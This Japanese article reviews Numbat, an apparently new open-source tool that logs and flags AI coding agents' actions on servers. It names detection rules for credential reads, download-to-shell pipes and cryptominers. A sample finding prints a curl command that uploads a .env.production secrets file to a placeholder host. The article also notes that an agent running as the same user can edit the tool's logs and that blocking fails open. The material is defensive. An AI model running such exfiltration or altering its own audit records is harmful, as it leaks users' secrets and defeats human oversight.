NumbatでAIエージェントの操作を監視する方法

Numbat について

Numbat を使うと、自分が管理するマシン上で AI エージェントが実行した内容を可視化できます。コーディングエージェントがすでに生成しているフックのコールバックとセッションファイルを読み取り、1 つのイベント形式に正規化します。そのうえで、SSH 秘密鍵の読み取りや、ダウンロードした内容を直接シェルへパイプする操作などの挙動に対してルールを照合し、該当時に発火させます。Perplexity はこれを Apache 2.0 ライセンスのオープンソースとして公開し、最初のタグ付きリリースを 29 July 2026 に公開しました。

以下の内容は、2 August 2026 に確認したプロジェクトのリポジトリと公式ドキュメントに基づいています。リリース履歴、インストール要件、レコードスキーマ、エージェントの対応状況は、12 October 2026 にリポジトリで再確認しました。Perplexity が主張している内容については、その旨を明記しています。リポジトリはまだ開発初期で、コマンドも変更されるため、ここではインストール手順を扱いません。

問題: エージェントの操作記録が残らない

VPS 上のコーディングエージェントは、利用者が渡したユーザー権限でシェルコマンドを実行し、ファイルを読み書きし、ネットワーク接続を開きます。エージェントはシェルに入力しているわけではないため、シェルの履歴にはこれらの操作が記録されません。sshd が記録するのはログインだけで、その後にモデルが実行した操作は記録しません。/var/log/auth.log は、何かが sudo にアクセスしようとしない限り、何も記録しません。エージェントは独自のトランスクリプトを保持しますが、そのファイルはエージェントのセッションディレクトリに保存され、形式はリリースごとに変わり、エージェント自身のプロセスから書き換えられる可能性があります。

そのため、「エージェントは先週の火曜日に .env.production を読み取ったか」と尋ねられても、ほとんどのサーバーでは確認できないというのが正直な答えです。この空白を埋めるために、このプロジェクトが存在します。

Perplexity が主張する Numbat の機能

README では、このツールを「AI エージェントの活動をエンドポイントで可視化し、ローカル検知、任意の事前アクションブロック、フォレンジックな再構成を提供するもの」と説明しています。ここでいうエンドポイントは、エージェントが実行されるマシンを指します。外部から監視するネットワークアプライアンスではありません。これらは別々の機能であり、重要度も異なります。

検知はデバイス上で実行されます。ルールは CEL (common expression language) で記述し、ローカルで評価します。さらに、複数ステップのシーケンスルールと、YAML で独自ルールを定義する機能もあります。ルールが発火するために、データをマシン外へ送る必要はありません。

ブロックは任意で、対象も限定されます。対応するエージェント上で同期型の pre-action hook を通じてのみ動作し、有効化するまで無効です。

再構成は事後に実行されます。numbat scan は、エージェントがすでにディスクへ書き込んだセッションアーティファクトを解析します。そのため、インストール前の活動も確認できます。ただし、この主張には明確な制限があります。「保存データからの再構成は、ディスクやメモリの取得ではありません。エージェントが永続化しなかった活動を復元することもできません。」

出力はバージョン管理された NDJSON (改行区切り JSON) です。イベント、検出結果、適用判断、インジケーター、スキャン概要を含み、v0.1.2 時点のスキーマバージョンは 0.2.0 です。その後、スキーマは変更されています。2026 年 10 月 12 日時点で、リポジトリには 0.2.0、0.3.0、0.4.0 のスキーマバージョンがあり、README のレコード例には 0.4.0 が示されていました。レコードは stdout またはローカルファイルへ出力でき、任意で、利用者が運用する collector へ HTTP 経由で送信できます。cgo なしでビルドされた単一の静的 Go バイナリとして提供され、amd64 と arm64 の macOS、Linux、Windows に対応します。そのため、Linux VPS では、最初にランタイムをインストールしなくても単一ファイルで実行できます。

Numbat が実際に認識できるエージェントはどれですか？

docs/agent-coverage.md の対応状況マトリクスが正式な一覧です。ただし、対応範囲にはばらつきがあります。プロジェクトはこの点を隠さず明記しています。Claude Code、Codex、Gemini CLI、Cursor、GitHub Copilot CLI では、アーティファクトスキャンと、事前アクションフックによるライブキャプチャの両方を利用できます。OpenClaw には、バージョン 2026.7.1 以降でネイティブプラグインが提供されます。多数の項目には deferred と記載されています。これは、ライブフックの経路は存在するものの、アーティファクトパーサーがないことを意味します。多くの場合、そのエージェントは履歴を SQLite と write-ahead log に保存しており、実行中に安全に読み取れないことが理由です。Cline CLI もこのグループに含まれます。ライブフックは動作しますが、SQLite セッションは解析されません。OpenCode は分割された対応状況です。v0.1.2 のマトリクスでは以前の JSON ストアを解析し、現在の opencode.db データベースだけを deferred としています。また、OpenCode に対する事前アクションの強制機能は記載されていません。main のマトリクスも、2026 年 10 月 12 日時点では同じ内容です。

このツールを前提に計画する前に、使用するエージェントの行を確認してください。「supported」の意味は、ほぼすべての行で異なるためです。

検知結果の見え方

ルールには、用途を示す ID があります。secrets.read_private_keyは、SSH key、AWS credentials、kube config、または package registry へのログイン情報を対象にします。exec.download_pipe_shellは、curlまたはwgetの出力が interpreter にパイプされたときに検知します。privilege.elevated_shellは、sudo、doas、su、または pkexecを介して対話型の root shell を要求した場合を検知します。impact.cryptomining_launchは、既知の miner のバイナリ名とイメージ名に一致します。

Sequence rule は、1 つのセッション内のイベントを結合します。chain.secret_read_then_egressは、secret file の読み取り後に、データを外部へ送信するコマンドが続いた場合に一致します。README には、ライブインシデントではなく、管理された環境で Claude Code の pre-action callback 2 件を再生した結果として、次の検知結果が示されています。ここでは重要なフィールドだけを抜粋します。

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

レコード内に "confidence": "medium" があることに注目してください。また、この出力全体についてプロジェクトが述べている内容にも注目してください。「Findings are rule matches, not proof of compromise.」secret を読み取ってから build artifact をアップロードする deploy script も、同じ sequence rule に一致します。一致自体は正しくても、アラームは誤りです。これは、これまで実行したすべての検知ツールで通常発生する状態です。

ブロックはデフォルトで無効で、フェイルオープンです

Numbat に含まれるすべてのルールは、監視専用です。ルールをブロックに変更するには、意図的な作業が必要です。ルールの完全な YAML を自分のディレクトリにコピーし、同じ id を維持して enforce: true を追加し、バージョンを上げてから、そのポリシーを検証してインストールします。

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

ここからは、どの程度信頼すべきかを判断する部分です。Numbat の deny はエージェントに返される応答であり、実際にツール呼び出しを拒否するのはエージェントです。Numbat 自体に問題が発生した場合の動作について、強制適用ガイドは明確に説明しています。「不正な payload、関連する評価エラー、panic、出力エラーが発生すると、numbat deny は抑制されます」。Hook の入力サイズ上限は 4 MiB で、サイズ超過した入力も同じ経路をたどります。

deny が実際に返された場合でも、その制限は明確です。「Fail-open とは、numbat が deny 応答を返さないことです。ツールが実行されることを保証するものではありません。ホストは引き続き確認を求めたり、拒否したり、タイムアウトしたり、別の hook やポリシーを適用したりできます」。

したがって、ここでの強制適用は境界ではなく、ガードレールです。プロセスがクラッシュしても、Numbat によってアクションがブロックされることはありません。問題が発生するたびにエージェントを停止させる監視ツールは、1 週間以内にアンインストールされるためです。このトレードオフは妥当です。ただし、deny が常に返されることを前提にセキュリティモデルを構築してはいけません。

すでに行っている対策の中での Numbat の位置付け

Numbat はエンドポイント上でエージェント自身のプロセスツリー内に配置され、デフォルトでは ~/.numbat/records.ndjson に書き込みます。ユーザー権限で実行されているエージェントは、そのファイルを読み取れます。編集することも可能です。監査証跡の価値は、その周囲にある分離と同じだけです。つまり、既存のすべての制御は Numbat の背後ではなく、前段に置く必要があります。

コーディングエージェントに使い捨ての VM を与えることで、問題のある実行が到達できる範囲を制限できます。VPS 上で最小権限のユーザーを使うことで、エージェントが開く必要のないファイルへのアクセスを防げます。認証情報をエージェントのコンテキストから除外することにより、secrets.read_private_key が発生したときに確認する価値があるほど、マッチをまれにできます。さらに、VPS 上で Claude Code 用に設定したサンドボックスが、引き続き封じ込めを担います。封じ込めによって問題のある実行が触れられる範囲を制限し、コードがその形になっている理由を書き残すことによって、エージェントがログを確認するほど予想外の動作をする頻度を下げます。

Numbat が追加するのは記録です。そのため、エージェントが到達できない場所に記録を送信してください。numbat ship と HTTP sink は、そのためにあります。ストリームのコピーを 2 台目のマシンに保存すると、単なるログファイルが証拠になります。イベントモデルには MCP (model context protocol) のフィールドも含まれます。そのため、VPS 上でホストする MCP serverを経由して外部に出るツール呼び出しも、ローカルの shell コマンドと同じストリームに記録されます。これは、bash だけを監視する仕組みでは、その経路を確認できないため重要です。エージェントの検索バックエンドとして接続した SearXNG instanceにも同じ死角があります。この場合、リスクはルールに一致するコマンドではなく、信頼できないページテキストがモデルのコンテキストに入る形で発生します。

最初に読み取り専用で試す

バージョンを固定してインストールします。以下のコマンドは v0.1.2 に固定します。このバージョンの README では Go 1.26.5 以降が必要とされています。2026 年 10 月 12 日時点で main の README は Go 1.26.6 以降を必要としていました。この変更は v0.2.0 で導入されたため、より新しいタグに固定する場合は 1.26.6 を使用してください。ソースからビルドしない場合は、リリースページに SHA-256 チェックサム付きのビルド済みバイナリがあります。

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents はホストにインストールされているエージェントを検出します。numbat scan はディスク上にすでに存在するセッション成果物を解析し、レコードを出力します。README には、これらのコマンドは「フックをインストールせず、エージェント設定を変更しない」と記載されています。また、numbat は「成果物内に見つかったエージェントやコマンドを実行せず、外向きのリクエストは設定済みの HTTP シンクに対してのみ送信する」とされています。スキャンは秘密情報のマスキングを伴う読み取り専用の処理です。通常のレコード出力に完全な生のトランスクリプトが含まれることもありません。

次はライブキャプチャです。これはエージェント設定を変更します。

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all はイベント、検出結果、インジケーター、および該当する強制適用の判断結果を ~/.numbat/records.ndjson に書き込みます。プロジェクトの説明には、2 つの注意点が明記されています。フックを実行するには、事前にエージェント内で信頼する設定が必要な場合があります。--enforce などのフラグを変更した後は、その信頼設定を再度確認する必要があります。また、hook status は「実行や配信ではなく、設定を検証します」。そのため、ステータス行が正常でも、レコードがどこかに到着していることの証明にはなりません。

これほど新しいリポジトリを依存先にしてはいけない理由

2026年10月12日時点で公開されているリリースは、2026年7月29日の v0.1.1、2026年8月1日の v0.1.2、2026年8月17日の v0.2.0 です。リリースページでは v0.2.0 が最新と表示されています。この記事の執筆時点である2026年8月2日、リポジトリのスター数は597でした。このような急速な増加は、コードの堅牢性ではなく、Perplexity の利用者層を反映しています。スターは、後で確認するために誰かがページを保存したことを示すだけです。

バージョン番号からも、このプロジェクトの位置付けが分かります。v0.1.2 の変更内容は、主に認証情報のマスキング修正と、ケースバンドルおよびテレメトリの正規化です。v0.2.0 では、メッセージ内容の取得範囲に上限が設けられ、beforeReadFile フックを通じた Cursor の read-file 実行が強制され、さらにマスキングの修正が追加されました。他のプログラムのトランスクリプトを安全に読み取るツールでは、初期段階の不具合としてマスキングの問題が起きるのは想定内です。各エージェントがそれぞれの予定で形式を変更するため、入力元が12種類もある以上、今後も増えるでしょう。

実務上のルールは2つあります。保存して使うものでは、@latest ではなくタグを必ず固定してください。また、少なくとも記録スキーマの変更が止まるまでは、依存する制御機構ではなく、評価中の計測ツールとして扱ってください。まだ変更は止まっていません。v0.1.2 の時点の 0.2.0 から、約10週間で main の README では 0.4.0 になっています。

FAQ

Numbat は危険な AI agent のコマンドをブロックしますか？

オプトインした場合に限り、しかもベストエフォートでのみブロックします。Numbat に同梱されるすべてのルールは monitor only です。ブロックするには、ルールの YAML を独自のディレクトリにコピーし、id を維持したまま enforce: true を追加して、バージョンを上げ、--enforce で hook をインストールします。それでも deny は agent に返される応答にすぎず、呼び出しを拒否するのは agent です。プロジェクトでは fail-open の動作が文書化されています。形式不正の payload、評価エラー、panic、出力エラーが発生すると、deny はすべて抑制されます。これをガードレールとして使用し、唯一の境界として依存しないでください。

Numbat はどの AI agent をサポートしていますか？

対応状況は agent ごとに異なり、リポジトリの docs/agent-coverage.md に一覧されています。2026 年 8 月 2 日にそのページを確認した時点では、Claude Code、Codex、Gemini CLI、Cursor、GitHub Copilot CLI が artifact scanning と live capture の両方に対応しており、OpenClaw には version 2026.7.1 から native plugin があります。その他の多くの agent には live hook path が記載されていますが、artifact parser はまだありません。通常は、agent の実行中に session history が保存された SQLite database を安全に読み取れないことが理由です。自分の agent の行を確認してください。そこでは「supported」が複数の異なる対応レベルを指します。

agent は Numbat の記録を改ざんできますか？

同じ user として実行されている場合は可能です。記録はデフォルトで ~/.numbat/records.ndjson に、agent と同じマシン上に保存されます。そのため、そのパスへの write access を持つものは記録を変更または削除できます。agent が到達できない collector に、numbat ship または HTTP sink を使って stream を送信し、ローカルファイルは利便性のためのコピーとして残してください。これが、この tool が isolation を補完するものであり、置き換えるものではない理由でもあります。least privilege user で使い捨ての VM に隔離された agent であれば、自身の audit trail に対する到達範囲を大幅に小さくできます。

Numbat は production server で使用できる状態ですか？

依存する control としては、まだ使用できません。最初の public release は 2026 年 7 月 29 日の v0.1.1 で、その後 2026 年 8 月 1 日に v0.1.2、2026 年 8 月 17 日に v0.2.0 がリリースされました。さらに 2026 年 10 月 12 日までに README の record schema は 0.4.0 に達しているため、flags と record schema は現在も変更されています。サーバー上で numbat agents と numbat scan を実行するだけなら read-only でリスクも低く、agent がディスク上に残したものを確認できます。重要なサーバーに enforcement hook をインストールする場合は別の判断が必要です。pinned tag と、hook が誤動作した場合の対応計画を用意してください。